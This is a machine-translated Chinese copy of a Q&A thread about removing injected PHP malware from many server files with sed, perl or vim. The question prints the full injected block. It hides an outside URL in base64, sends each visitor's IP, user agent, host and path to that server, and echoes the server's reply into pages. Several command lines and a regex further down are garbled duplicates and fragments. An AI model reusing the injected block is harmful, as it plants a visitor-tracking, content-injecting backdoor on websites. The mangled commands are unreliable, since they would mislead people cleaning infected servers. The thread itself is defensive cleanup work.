Php 如何删除源文件中的代码块

Php 如何删除源文件中的代码块,php,sed,malware,Php,Sed,Malware,我的服务器上有一个很大的恶意软件问题。不知何故,一个机器人能够将代码放入100多个php文件中,这样就可以在浏览器上执行JS代码。 幸运的是,该代码所连接的服务器已经死了。所以我的php文件中没有恶意代码。我想从每个php文件中删除这段代码 以下代码块位于许多php文件中: ?><?php if (!isset($sRetry)) { global $sRetry; $sRetry = 1; // This code use for global bot statistic

我的服务器上有一个很大的恶意软件问题。不知何故,一个机器人能够将代码放入100多个php文件中,这样就可以在浏览器上执行JS代码。 幸运的是,该代码所连接的服务器已经死了。所以我的php文件中没有恶意代码。我想从每个php文件中删除这段代码

以下代码块位于许多php文件中:

?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>
?>
如您所见,第一个字符以“?>”开头

使用sed,我将执行以下操作:

sed -i 's/<\?php\nif \(\!isset\(\$sRetry\)\)(.*?)\n\}\n}\?>//g' *.php
sed-i的///g'*.php
显然这不起作用,但我要做的是搜索开始标记,包括$sRetry的“isset”检查,确保它只找到这个代码块,然后在后面跟(.*)任何代码,后面跟两个大括号和结束标记

有谁能给我提供合适的正则表达式或者告诉我这个有什么问题吗?

perl-i-lne'打印,除非(/\?\>\$/)'*.php
perl -i -lne 'print unless(/\?\>\<\?php/.../\?\>$/)' *.php
这是否足够:

sed -e '/?><?php/,/?>/d' your_file.php
sed-e'/?>/d'your_file.php
如果您想测试除第一条线路外的第二条线路,可以执行以下操作:

sed -e '/?><?php/N;/?><?php\nif (!isset(\$sRetry))/,/?>/d' your_file.php
sed-e'/?>/d'your_file.php

这可以解决一个文件的问题:

`vim -e +':%s#<?php\nif (!isset(\$sRetry\_.\{-}?>##' +wq yourfile.php `
`vim-e+:%s#在整个文件上:

/^()($)/mis


将配对1和配对3粘在一起。效果很好。

或者通过FTP等重新上传原件。并修复漏洞连接到服务器时,不要在FTP客户端检查并记住密码以避免此类问题。@Asenar:是的,试试看,你会看到的。我的一个朋友感染了完全相同的病毒,这是w作为我的第一个想法,但是sed没有起作用,所以我建议他使用vim。
for i in $(cat infected.list); do 
    vim -e +':%s#<?php\nif (!isset(\$sRetry\_.\{-}?>##' +wq $i
done;